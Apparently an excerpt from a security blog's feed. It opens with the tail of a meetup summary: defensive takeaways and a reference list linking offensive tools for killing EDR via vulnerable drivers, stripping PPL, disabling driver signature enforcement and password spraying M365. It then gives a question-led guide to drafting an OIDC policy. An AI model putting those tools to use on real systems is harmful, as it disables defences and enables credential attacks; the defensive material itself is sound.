<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-core-defensive-takeaways">3. Core Defensive Takeaways<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#3-core-defensive-takeaways" class="hash-link" aria-label="Direct link to 3. Core Defensive Takeaways" title="Direct link to 3. Core Defensive Takeaways" translate="no">​</a></h4>
<ul>
<li class=""><strong>Network Micro-Segmentation:</strong> Isolate all IoT, smart appliances, building controls, and guest networks into dedicated VLANs with zero routing to corporate Active Directory environments.</li>
<li class=""><strong>Mandatory Phishing-Resistant MFA:</strong> Enforce hardware-token (FIDO2/WebAuthn) or authenticator-based MFA across all external identity providers (OWA, M365, VPNs).</li>
<li class=""><strong>Disable Default Services &amp; Interfaces:</strong> Deactivate unnecessary Wi-Fi access points, Bluetooth discovery, and unauthenticated web interfaces on embedded hardware.</li>
<li class=""><strong>Credential Exposure Monitoring:</strong> Regularly monitor breach databases for compromised corporate email credentials and enforce strict credential hygiene.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references-and-further-reading">References and Further Reading<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#references-and-further-reading" class="hash-link" aria-label="Direct link to References and Further Reading" title="Direct link to References and Further Reading" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="windows-kernel--byovd-security-session-1">Windows Kernel &amp; BYOVD Security (Session 1)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#windows-kernel--byovd-security-session-1" class="hash-link" aria-label="Direct link to Windows Kernel &amp; BYOVD Security (Session 1)" title="Direct link to Windows Kernel &amp; BYOVD Security (Session 1)" translate="no">​</a></h3>
<ul>
<li class=""><strong><a href="https://www.loldrivers.io/" target="_blank" rel="noopener noreferrer" class="">LOLDrivers.io</a></strong> ,  Living Off The Land Drivers curated database of vulnerable, signed Windows drivers used in real-world attacks.</li>
<li class=""><strong><a href="https://www.vergiliusproject.com/" target="_blank" rel="noopener noreferrer" class="">Vergilius Project</a></strong> ,  Comprehensive index of undocumented Windows kernel structures (<code>_EPROCESS</code>, <code>_ETHREAD</code>, <code>_PS_PROTECTION</code>) across OS versions.</li>
<li class=""><strong><a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules" target="_blank" rel="noopener noreferrer" class="">Microsoft Recommended Driver Block Rules</a></strong> ,  Official WDAC and HVCI driver blocklist guidelines.</li>
<li class=""><strong><a href="https://github.com/jnahmias/truesight-killer" target="_blank" rel="noopener noreferrer" class="">TrueSight Killer (GitHub)</a></strong> ,  Proof-of-concept tool demonstrating EDR termination via vulnerable driver IOCTL abuse.</li>
<li class=""><strong><a href="https://github.com/Ph4nt0m-c/AV-EDR-Killer" target="_blank" rel="noopener noreferrer" class="">AV-EDR-Killer (GitHub)</a></strong> ,  Open-source BYOVD implementation leveraging <code>wsftprm.sys</code> (CVE-2023-52271).</li>
<li class=""><strong><a href="https://github.com/Mattiwatti/PPLKiller" target="_blank" rel="noopener noreferrer" class="">PPLKiller by Mattiwatti (GitHub)</a></strong> ,  Tool demonstrating PPL stripping and DKOM manipulation via vulnerable signed drivers.</li>
<li class=""><strong><a href="https://github.com/fengjixuchui/DsePatcher" target="_blank" rel="noopener noreferrer" class="">DSE Patcher (GitHub)</a></strong> ,  Demonstrates disabling Driver Signature Enforcement via kernel write primitives.</li>
<li class=""><strong><a href="https://www.alex-ionescu.com/?p=97" target="_blank" rel="noopener noreferrer" class="">Protected Processes &amp; PPL Architecture (Alex Ionescu)</a></strong> ,  Fundamental research on Windows Protected Process Light internals.</li>
<li class=""><strong><a href="https://leanpub.com/windowskernelprogramming" target="_blank" rel="noopener noreferrer" class="">Windows Kernel Programming by Pavel Yosifovich</a></strong> ,  Reference book for Windows kernel architecture, driver development, and IOCTL dispatching.</li>
<li class=""><strong><a href="https://medium.com/@sushant.m.mane/hevd-windows-kernel-exploitation-stack-overflow-12be551350f1" target="_blank" rel="noopener noreferrer" class="">HEVD Windows Kernel Exploitation: Stack Overflow (Sushant Mane)</a></strong> ,  Practical analysis of stack-overflow exploitation in the HackSys Extreme Vulnerable Driver.</li>
<li class=""><strong><a href="https://medium.com/@sushant.m.mane/kernel-shield-reversing-the-nseckrnl-malops-io-rootkit-driver-fb4af6bcb19c" target="_blank" rel="noopener noreferrer" class="">Kernel Shield: Reversing the NSEckrnl Malops.io Rootkit Driver (Sushant Mane)</a></strong> ,  Reverse-engineering research on the NSEckrnl rootkit driver and kernel-level defensive techniques.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="iot-security-threat-modeling--osint-session-2">IoT Security, Threat Modeling &amp; OSINT (Session 2)<a href="https://blog.haxnation.org/htb-mumbai-meetup-19-summary#iot-security-threat-modeling--osint-session-2" class="hash-link" aria-label="Direct link to IoT Security, Threat Modeling &amp; OSINT (Session 2)" title="Direct link to IoT Security, Threat Modeling &amp; OSINT (Session 2)" translate="no">​</a></h3>
<ul>
<li class=""><strong><a href="https://owasp.org/www-project-internet-of-things/" target="_blank" rel="noopener noreferrer" class="">OWASP Internet of Things (IoT) Top 10</a></strong> ,  Standard security awareness documentation covering weak passwords, insecure interfaces, and lack of firmware validation.</li>
<li class=""><strong><a href="https://phonebook.cz/" target="_blank" rel="noopener noreferrer" class="">Phonebook.cz</a></strong> ,  Open-source intelligence tool for domain and email enumeration.</li>
<li class=""><strong><a href="https://www.dehashed.com/" target="_blank" rel="noopener noreferrer" class="">DeHashed</a></strong> &amp; <strong><a href="https://leak-lookup.com/" target="_blank" rel="noopener noreferrer" class="">Leak-Lookup</a></strong> ,  Public breach search engines for credential exposure auditing.</li>
<li class=""><strong><a href="https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats" target="_blank" rel="noopener noreferrer" class="">Microsoft STRIDE Threat Model</a></strong> ,  Structural framework for categorizing threats (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege).</li>
<li class=""><strong><a href="https://samcurry.net/web-hackers-vs-the-auto-industry/" target="_blank" rel="noopener noreferrer" class="">Automotive Security Research: Remote Vehicle Takeover</a></strong> ,  Detailed analysis of connected vehicle API vulnerabilities allowing remote tracking and control via VIN numbers.</li>
<li class=""><strong><a href="https://github.com/" target="_blank" rel="noopener noreferrer" class="">TraverseSpray &amp; msmailprobe (GitHub)</a></strong> ,  Tools for enumerating Microsoft 365 Exchange endpoints and performing password spraying.</li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="BYOVD" term="BYOVD"/>
        <category label="Kernel" term="Kernel"/>
        <category label="Windows" term="Windows"/>
        <category label="EDR" term="EDR"/>
        <category label="Driver" term="Driver"/>
        <category label="PPL" term="PPL"/>
        <category label="IOCTL" term="IOCTL"/>
        <category label="DSE" term="DSE"/>
        <category label="EPROCESS" term="EPROCESS"/>
        <category label="LOLDrivers" term="LOLDrivers"/>
        <category label="IoT-Security" term="IoT-Security"/>
        <category label="Hardware-Security" term="Hardware-Security"/>
        <category label="OSINT" term="OSINT"/>
        <category label="HTB-Mumbai-Meetup-Summary" term="HTB-Mumbai-Meetup-Summary"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Building Your Org's OIDC Policy: A Question-Led Guide]]></title>
        <id>https://blog.haxnation.org/building-your-oidc-policy</id>
        <link href="https://blog.haxnation.org/building-your-oidc-policy"/>
        <updated>2026-09-12T09:00:00.000Z</updated>
        <summary type="html"><![CDATA[A section-by-section, question-led walkthrough for building your organization's OpenID Connect (OIDC) policy from scratch.]]></summary>
        <content type="html"><![CDATA[<p>Most companies don't have an OIDC problem because nobody understands OpenID Connect. They have one because nobody ever wrote down the <em>decisions</em>: which provider, which apps, who owns the credentials, how long a secret should live, what happens when someone forgets to rotate one. The protocol is standardized. Your organization's choices around it are not, until you write them down.</p>
<p>This guide is built to be answered, not just read. Every section below explains <em>why</em> that piece of a policy matters, then hands you a short list of questions. Open a blank Word document next to this post, work through the sections in order, and by the end you'll have a first draft of a real OIDC policy, not a template with the blanks still in it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-to-use-this-guide">How to use this guide<a href="https://blog.haxnation.org/building-your-oidc-policy#how-to-use-this-guide" class="hash-link" aria-label="Direct link to How to use this guide" title="Direct link to How to use this guide" translate="no">​</a></h2>
<p>Keep this post open in one window and Microsoft Word (or your editor of choice) open beside it. For each section:</p>
<ol>
<li class="">Read the short explainer — it tells you what the section is for and why it matters.</li>
<li class="">Answer the 📝 questions directly in your Word document, under a heading matching the section number and title below (<code>1. Purpose</code>, <code>2. Scope</code>, and so on).</li>
<li class="">Don't worry about polish on the first pass. A rough answer you can tighten later beats a blank section.</li>
</ol>
<p>By section 23, your Word document <em>is</em> your draft policy mirroring the structure below.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-purpose">1. Purpose<a href="https://blog.haxnation.org/building-your-oidc-policy#1-purpose" class="hash-link" aria-label="Direct link to 1. Purpose" title="Direct link to 1. Purpose" translate="no">​</a></h2>
<p>Every policy needs a reason to exist, stated plainly enough that someone reading it two years from now, after the person who wrote it has left, still understands why it's there. This section is the "why," in a paragraph or two: what risk or inconsistency this policy is closing, and what "success" looks like once it's followed.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What specific problem is this policy solving (inconsistent OIDC use, past incident, audit finding, new regulatory pressure)?</li>
<li class="">What triggered writing this policy now?</li>
<li class="">Who is the executive sponsor or owning function (CISO, Head of IAM, Platform Engineering)?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-scope">2. Scope<a href="https://blog.haxnation.org/building-your-oidc-policy#2-scope" class="hash-link" aria-label="Direct link to 2. Scope" title="Direct link to 2. Scope" translate="no">​</a></h2>
<p>Scope draws the line around what this policy governs and — just as importantly — what it doesn't. A policy that tries to cover everything usually ends up enforced nowhere.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Does this apply to workforce (employee) authentication, customer-facing authentication, or both?</li>
<li class="">Which environments are covered: production only, or also staging/dev/test, only internal systems, only external ones or both?</li>
<li class="">Which business units, subsidiaries, or acquired companies are in scope?</li>
<li class="">What's explicitly out of scope (e.g., legacy SAML apps mid-migration, machine-to-machine/service auth, mainframe auth)?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-definitions">3. Definitions<a href="https://blog.haxnation.org/building-your-oidc-policy#3-definitions" class="hash-link" aria-label="Direct link to 3. Definitions" title="Direct link to 3. Definitions" translate="no">​</a></h2>
<p>A shared glossary prevents arguments later about what "client" or "criticality" means. Define the standard OIDC/OAuth2 vocabulary once, then add any terms specific to your organization.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Do you need org-specific definitions for terms like "application criticality tier," "internal network," or "approved provider" that will be used later in this policy?</li>
<li class="">Are there internal team names or system names (e.g., your IAM platform's internal codename) that need defining for readers outside that team?</li>
</ul>
<p><em>(Standard terms to include as-is: OIDC, OAuth 2.0, Identity Provider (IdP), Relying Party (RP)/Client, Client ID, Client Secret, Access Token, ID Token, Refresh Token, Scopes, Claims, PKCE, JWKS, Discovery Document, Redirect URI.)</em></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-approved-oidc-providers--applicability">4. Approved OIDC Providers &amp; Applicability<a href="https://blog.haxnation.org/building-your-oidc-policy#4-approved-oidc-providers--applicability" class="hash-link" aria-label="Direct link to 4. Approved OIDC Providers &amp; Applicability" title="Direct link to 4. Approved OIDC Providers &amp; Applicability" translate="no">​</a></h2>
<p>This is the <em>allow-list</em> of identity providers your organization actually permits — not every provider that exists — <strong>and</strong> where each one is allowed to be used. Naming this explicitly stops individual teams from quietly standing up their own IdP, while mapping providers to application boundaries (internet-only, internal-only, hybrid, cloud/data-centre) ensures an internet-facing customer portal and an internal finance tool don't get the same default despite very different threat models.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Is there a preferred (primary/default) OIDC supplier for the organization?</li>
<li class="">Which other providers are approved for specific cases, and why (e.g., a specific vendor for customer-facing apps, another for workforce SSO)?</li>
<li class="">Is there a provider that is explicitly <em>disallowed</em> and why?</li>
<li class="">What application boundary categories exist in your environment (e.g., internet-only, internal-only, internet-facing app connecting to internal services, specific cloud provider, specific data centre)?</li>
<li class="">For each boundary category, is there a preferred or mandatory OIDC provider?</li>
<li class="">Are there use cases where OIDC is <em>not</em> the right fit (e.g., legacy systems, B2B federation, service accounts) and what's used instead?</li>
</ul>
<p><em>(Suggested table to include in your Word doc — copy and adapt to your org):</em></p>















































<table><thead><tr><th>Provider</th><th>Status</th><th>Intended Use Case / Scope</th><th>Justification / Notes</th></tr></thead><tbody><tr><td>Example: Microsoft Entra ID (Azure AD)</td><td><strong>Primary / Preferred</strong></td><td>Workforce SSO, internal apps, M365-integrated services</td><td>Default for all employee-facing auth; covered by existing E5 licensing and conditional access policies</td></tr><tr><td>Example: Okta (Customer Identity)</td><td><strong>Approved</strong></td><td>Customer-facing web &amp; mobile apps (internet-only)</td><td>Required for CIAM use cases needing self-service registration and social federation</td></tr><tr><td>Example: Auth0 by Okta</td><td><strong>Approved — Conditional</strong></td><td>Legacy customer portal (until Q4 2027 migration)</td><td>Grandfathered; no new apps to onboard here — migrate to Okta CIAM</td></tr><tr><td>Example: Google Identity Platform</td><td><strong>Disallowed</strong></td><td>—</td><td>Not approved due to data residency and contractual gaps; exception requires CISO + Legal risk acceptance</td></tr><tr><td><em>Your Provider 1</em></td><td>Primary / Approved / Disallowed</td><td><em>e.g., Internal-only apps</em></td><td><em>Why this status</em></td></tr><tr><td><em>Your Provider 2</em></td><td>Primary / Approved / Disallowed</td><td><em>e.g., Specific business unit or cloud</em></td><td><em>Why this status</em></td></tr></tbody></table>
<blockquote>
<p>Tip: Keep this table as the single source of truth. If a provider isn't on this list, it's not approved — teams must submit a request per section 18 before integrating.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-application-classification">5. Application Classification<a href="https://blog.haxnation.org/building-your-oidc-policy#5-application-classification" class="hash-link" aria-label="Direct link to 5. Application Classification" title="Direct link to 5. Application Classification" translate="no">​</a></h2>
<p>Not every application deserves the same level of authentication rigor. Defining criticality tiers up front lets every later section (MFA, token lifetime, logging) simply say "per the app's tier" instead of repeating itself.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What criticality tiers will you use (e.g., Critical / High / Standard / Low)?</li>
<li class="">What factors determine an app's tier — data sensitivity, user base size, regulatory scope, revenue impact?</li>
<li class="">Who assigns and approves an application's tier — the app owner, security team, or both?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-provider-selection-matrix">6. Provider Selection Matrix<a href="https://blog.haxnation.org/building-your-oidc-policy#6-provider-selection-matrix" class="hash-link" aria-label="Direct link to 6. Provider Selection Matrix" title="Direct link to 6. Provider Selection Matrix" translate="no">​</a></h2>
<p>Where section 4 names the approved providers, this section turns that list into a decision tool: given an application's boundary type and criticality tier, which provider should a team actually pick, and in what order of preference?</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What is the priority order of approved OIDC suppliers (first choice, second choice, fallback)?</li>
<li class="">Does the priority order change based on application boundary (internet vs. internal vs. hybrid) or cloud/data-centre placement?</li>
<li class="">Is there a documented matrix (boundary type × criticality tier → preferred provider) that teams can self-serve from?</li>
</ul>
<p><em>(Suggested table to include in your Word doc — copy and adapt to your tiers/boundaries from sections 4–5):</em></p>








































<table><thead><tr><th>Boundary Type \ Criticality Tier</th><th><strong>Critical</strong></th><th><strong>High</strong></th><th><strong>Standard</strong></th><th><strong>Low</strong></th></tr></thead><tbody><tr><td><strong>Internet-only</strong> (customer-facing, public)</td><td><strong>Okta CIAM (Primary)</strong> — Entra ID not permitted</td><td><strong>Okta CIAM (Primary)</strong></td><td><strong>Okta CIAM (Primary)</strong></td><td><strong>Okta CIAM</strong> or Entra ID (if workforce tool)</td></tr><tr><td><strong>Internal-only</strong> (corp network / VPN, workforce)</td><td><strong>Entra ID (Primary)</strong> — HSM-backed key req.</td><td><strong>Entra ID (Primary)</strong></td><td><strong>Entra ID (Primary)</strong></td><td><strong>Entra ID (Primary)</strong></td></tr><tr><td><strong>Hybrid</strong> (internet-facing app → internal API/service)</td><td><strong>Entra ID (Primary)</strong> + Okta for external users — separate clients</td><td><strong>Entra ID (Primary)</strong> — Okta (Fallback for B2C)</td><td><strong>Entra ID (Preferred)</strong> / Okta (Allowed with approval)</td><td><strong>Either</strong> — per data sensitivity</td></tr><tr><td><strong>Cloud / Data-centre specific</strong> <em>(if applicable)</em></td><td><em>e.g., AWS-hosted Critical → Entra ID</em></td><td><em>e.g., DC2 High → Entra ID</em></td><td><em>e.g., Standard → Entra ID</em></td><td><em>e.g., Low → Entra ID</em></td></tr></tbody></table>
<blockquote>
<p>How to use it: Find your boundary row and criticality column (tiers defined in section 5). The cell tells you the mandatory/expected IdP from section 4. Anything off-matrix requires a documented exception per your exception process. Add or remove rows/columns to match your actual boundaries and tiers — this exact shape is just an example.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-application-registration">7. Application Registration<a href="https://blog.haxnation.org/building-your-oidc-policy#7-application-registration" class="hash-link" aria-label="Direct link to 7. Application Registration" title="Direct link to 7. Application Registration" translate="no">​</a></h2>
<p>Someone has to actually issue the client ID and secret. If that person or team isn't named, every app team either finds their own workaround or waits indefinitely.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Who is the person, team, or ticketing queue to contact to register a new application and obtain OIDC credentials?</li>
<li class="">What information must an app team provide at registration (app name, owner, criticality tier, redirect URIs, environment)?</li>
<li class="">Is there a self-service portal, or is this always a manual request?</li>
<li class="">What is the expected turnaround time (SLA) for issuing credentials?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-client-id--secret-management">8. Client ID &amp; Secret Management<a href="https://blog.haxnation.org/building-your-oidc-policy#8-client-id--secret-management" class="hash-link" aria-label="Direct link to 8. Client ID &amp; Secret Management" title="Direct link to 8. Client ID &amp; Secret Management" translate="no">​</a></h2>
<p>Client secrets are effectively passwords for applications, and they're routinely mishandled — checked into source control, shared across environments, left alive for years. This section sets the hard rules.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What is the maximum validity period for a client ID/secret before mandatory rotation (e.g., 90 days, 180 days, 1 year)?</li>
<li class="">Is it mandatory to use different client IDs and secrets across different subdomains or environments, and how is that enforced?</li>
<li class="">Where must secrets be stored (secrets manager only — no config files, no source control)?</li>
<li class="">Who can request a secret rotation, and what's the process if a secret is suspected to be compromised?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-redirect-uri--origin-requirements">9. Redirect URI &amp; Origin Requirements<a href="https://blog.haxnation.org/building-your-oidc-policy#9-redirect-uri--origin-requirements" class="hash-link" aria-label="Direct link to 9. Redirect URI &amp; Origin Requirements" title="Direct link to 9. Redirect URI &amp; Origin Requirements" translate="no">​</a></h2>
<p>A loosely configured redirect URI is one of the most common ways OIDC integrations get exploited. This section makes the rules for what's allowed explicit rather than left to each developer's judgment.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Are wildcard redirect URIs allowed, or must every URI be registered as an exact match?</li>
<li class="">How are redirect URIs handled across subdomains (does each subdomain need its own registered URI)?</li>
<li class="">Is HTTPS mandatory for all redirect URIs, including internal apps?</li>
<li class="">What's the process to add or change a registered redirect URI after go-live?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="10-authentication--mfa-requirements">10. Authentication &amp; MFA Requirements<a href="https://blog.haxnation.org/building-your-oidc-policy#10-authentication--mfa-requirements" class="hash-link" aria-label="Direct link to 10. Authentication &amp; MFA Requirements" title="Direct link to 10. Authentication &amp; MFA Requirements" translate="no">​</a></h2>
<p>Not every login needs the same bar. This section ties directly back to the criticality tiers from section 5 — what's actually required (MFA method, adaptive/risk-based signals, network or location restrictions) at each level.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">At what criticality tier(s) is MFA mandatory, and which MFA methods are acceptable (authenticator app, hardware key, SMS — and is SMS banned for higher tiers)?</li>
<li class="">Are risk-based/adaptive authentication signals required (impossible travel, new device, anomalous behavior patterns)?</li>
<li class="">Are there location or network restrictions (e.g., block or step-up MFA for logins outside approved geographies or off-VPN)?</li>
<li class="">Do these requirements differ for workforce vs. customer-facing applications?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-oidc-flow--protocol-requirements">11. OIDC Flow &amp; Protocol Requirements<a href="https://blog.haxnation.org/building-your-oidc-policy#11-oidc-flow--protocol-requirements" class="hash-link" aria-label="Direct link to 11. OIDC Flow &amp; Protocol Requirements" title="Direct link to 11. OIDC Flow &amp; Protocol Requirements" translate="no">​</a></h2>
<p>There are several valid OAuth2/OIDC flows, but not all of them are safe for every client type. This section pins down which flow is mandatory and which are banned outright.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Is Authorization Code flow with PKCE mandatory for all client types, including confidential clients?</li>
<li class="">Is the Implicit flow explicitly banned?</li>
<li class="">What's required for server-to-server or headless scenarios (Client Credentials flow) — and who can approve its use?</li>
<li class="">What minimum OIDC/OAuth2 library or SDK standards must integrations meet (no hand-rolled token validation, for example)?</li>
</ul>
<p><em>(Suggested table to include in your Word doc — copy and adapt to your client types):</em></p>





























































<table><thead><tr><th>Client / Communication Type</th><th>Preferred OIDC Flow</th><th>Status</th><th>When to Use / Conditions</th><th>Notes / Requirements</th></tr></thead><tbody><tr><td><strong>Web app with backend</strong> (confidential client)</td><td><strong>Authorization Code + PKCE</strong></td><td><strong>Mandatory</strong></td><td>All interactive user logins where a server can keep a secret</td><td>PKCE required even for confidential clients; use <code>response_type=code</code>, validate <code>nonce</code>, <code>iss</code>, <code>aud</code>, <code>exp</code> via certified library</td></tr><tr><td><strong>Single-Page App (SPA)</strong> — browser</td><td><strong>Authorization Code + PKCE</strong> (no client secret)</td><td><strong>Mandatory</strong></td><td>Public client, JavaScript-only</td><td>Must use PKCE with <code>code_challenge</code>; no Implicit; refresh via rotation, store tokens in HttpOnly cookie or memory only — never <code>localStorage</code></td></tr><tr><td><strong>Native / Mobile app</strong> (iOS, Android, desktop)</td><td><strong>Authorization Code + PKCE</strong> via system browser / AppAuth</td><td><strong>Mandatory</strong></td><td>Public client on device</td><td>Use external user-agent (ASWebAuthenticationSession / Custom Tabs), not embedded WebView; PKCE + <code>state</code> required</td></tr><tr><td><strong>Server-to-server / Service account / Daemon</strong></td><td><strong>Client Credentials</strong></td><td><strong>Approved — Conditional</strong></td><td>No user present, backend-to-backend</td><td>Requires section 7 registration + security approval; separate <code>client_id</code> per env; scope-limited, mTLS or <code>private_key_jwt</code> preferred over shared secret</td></tr><tr><td><strong>Input-constrained / Device / CLI / Smart TV</strong></td><td><strong>Device Code</strong> (<code>urn:ietf:params:oauth:grant-type:device_code</code>)</td><td><strong>Approved — Conditional</strong></td><td>No browser/keyboard on device</td><td>Poll interval enforced; device verification URI shown on secondary device; short <code>device_code</code> lifetime; requires IAM team approval</td></tr><tr><td><strong>Any client type</strong></td><td><strong>Implicit Flow</strong> (<code>response_type=token id_token</code>)</td><td><strong>Banned</strong></td><td>Never</td><td>Returns tokens in URL fragment — leaks via referrer/history; use Authorization Code + PKCE instead</td></tr><tr><td><strong>Any client type</strong></td><td><strong>ROPC / Password Grant</strong></td><td><strong>Banned</strong></td><td>Never</td><td>Collecting passwords directly bypasses MFA/SSO and IdP controls; blocked at IdP policy level</td></tr></tbody></table>
<blockquote>
<p>Tip: If a flow isn't on the <strong>Mandatory</strong> or <strong>Approved — Conditional</strong> rows, treat it as banned. Conditional flows need an approved use case logged in section 7 and a re-review per section 16.</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-claims-scopes--data-handling">12. Claims, Scopes &amp; Data Handling<a href="https://blog.haxnation.org/building-your-oidc-policy#12-claims-scopes--data-handling" class="hash-link" aria-label="Direct link to 12. Claims, Scopes &amp; Data Handling" title="Direct link to 12. Claims, Scopes &amp; Data Handling" translate="no">​</a></h2>
<p>The token coming back from your IdP carries user data — and how much of it your application is allowed to persist locally is a real data-governance question, not just a technical one.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What data/claims are available via your approved OIDC provider(s) (e.g., name, email, employee ID, group membership)?</li>
<li class="">What data from those claims <em>can</em> be stored in an application's local database, and for how long?</li>
<li class="">What data must <em>never</em> be persisted at the application level and should only ever be read live from the token or IdP (e.g., group membership used for real-time authorization checks)?</li>
<li class="">What scopes are apps allowed to request by default, and what requires explicit approval (e.g., broader profile or admin scopes)?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-token-management">13. Token Management<a href="https://blog.haxnation.org/building-your-oidc-policy#13-token-management" class="hash-link" aria-label="Direct link to 13. Token Management" title="Direct link to 13. Token Management" translate="no">​</a></h2>
<p>Tokens that live too long, or that get validated incorrectly, quietly become long-term backdoors. This section defines lifetimes and validation rules so every integration behaves the same way.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What are the maximum lifetimes for access tokens, ID tokens, and refresh tokens?</li>
<li class="">Is refresh token rotation mandatory?</li>
<li class="">Where and how must tokens be stored client-side (e.g., HttpOnly secure cookies vs. local storage — is local storage banned)?</li>
<li class="">What signature/audience/issuer validation is mandatory before a token is trusted?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="14-session--logout-management">14. Session &amp; Logout Management<a href="https://blog.haxnation.org/building-your-oidc-policy#14-session--logout-management" class="hash-link" aria-label="Direct link to 14. Session &amp; Logout Management" title="Direct link to 14. Session &amp; Logout Management" translate="no">​</a></h2>
<p>Login is only half of session security — how a session ends matters just as much, especially across multiple connected applications.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What is the maximum session idle timeout and absolute session lifetime, and does it vary by criticality tier?</li>
<li class="">Is single logout (SLO) required across applications sharing the same IdP session?</li>
<li class="">Does the policy require front-channel or back-channel logout support from integrated apps?</li>
<li class="">What happens to active sessions when a user's account is disabled or offboarded?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="15-logging--monitoring">15. Logging &amp; Monitoring<a href="https://blog.haxnation.org/building-your-oidc-policy#15-logging--monitoring" class="hash-link" aria-label="Direct link to 15. Logging &amp; Monitoring" title="Direct link to 15. Logging &amp; Monitoring" translate="no">​</a></h2>
<p>If an authentication event isn't logged, it didn't happen — at least not in any way you can investigate later. This section defines the minimum audit trail.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Which authentication events must be logged (successful login, failed login, token issuance, token refresh, logout, consent grants)?</li>
<li class="">Where do these logs need to flow (central SIEM, specific retention period)?</li>
<li class="">Who is alerted on anomalies (repeated failures, impossible travel, spikes in token issuance)?</li>
<li class="">What's the minimum log retention period, and does it vary by app criticality or regulatory requirement?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="16-vulnerability--security-testing">16. Vulnerability &amp; Security Testing<a href="https://blog.haxnation.org/building-your-oidc-policy#16-vulnerability--security-testing" class="hash-link" aria-label="Direct link to 16. Vulnerability &amp; Security Testing" title="Direct link to 16. Vulnerability &amp; Security Testing" translate="no">​</a></h2>
<p>OIDC integrations are frequently misconfigured in ways automated scanners miss — this section sets the expectation for how and how often they get tested by a human.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">Is a security review or penetration test mandatory before an OIDC integration goes to production?</li>
<li class="">How often must integrations be re-tested (annually, on major changes, on criticality-tier basis)?</li>
<li class="">Who performs testing — internal security team, external vendor, or both?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="17-lifecycle-management">17. Lifecycle Management<a href="https://blog.haxnation.org/building-your-oidc-policy#17-lifecycle-management" class="hash-link" aria-label="Direct link to 17. Lifecycle Management" title="Direct link to 17. Lifecycle Management" translate="no">​</a></h2>
<p>Applications and their credentials aren't set up once and forgotten — they're onboarded, changed, and eventually retired, and each stage needs an owner and a process.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What's the process for decommissioning an application and revoking its OIDC credentials?</li>
<li class="">How are orphaned or unused client registrations identified and cleaned up (regular audits)?</li>
<li class="">What happens to credentials when an application owner leaves the organization?</li>
<li class="">Is there a periodic (e.g., quarterly/annual) review of all registered applications against this policy?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="18-third-party-provider-requirements">18. Third-Party Provider Requirements<a href="https://blog.haxnation.org/building-your-oidc-policy#18-third-party-provider-requirements" class="hash-link" aria-label="Direct link to 18. Third-Party Provider Requirements" title="Direct link to 18. Third-Party Provider Requirements" translate="no">​</a></h2>
<p>When the OIDC provider itself is a vendor, your organization inherits some of its risk. This section sets the bar that vendor has to clear.</p>
<p>📝 <strong>Answer these:</strong></p>
<ul>
<li class="">What certifications or attestations are required of a third-party OIDC provider (SOC 2, ISO 27001, etc.)?</li>
<li class="">What are the contractual breach-notification timelines required?</li>
<li class="">What data residency or data processing requirements apply?</li>
<li class="">What's the process to evaluate and approve a <em>new</em> third-party provider before it's added to section 4's approved list?</li>
</ul>
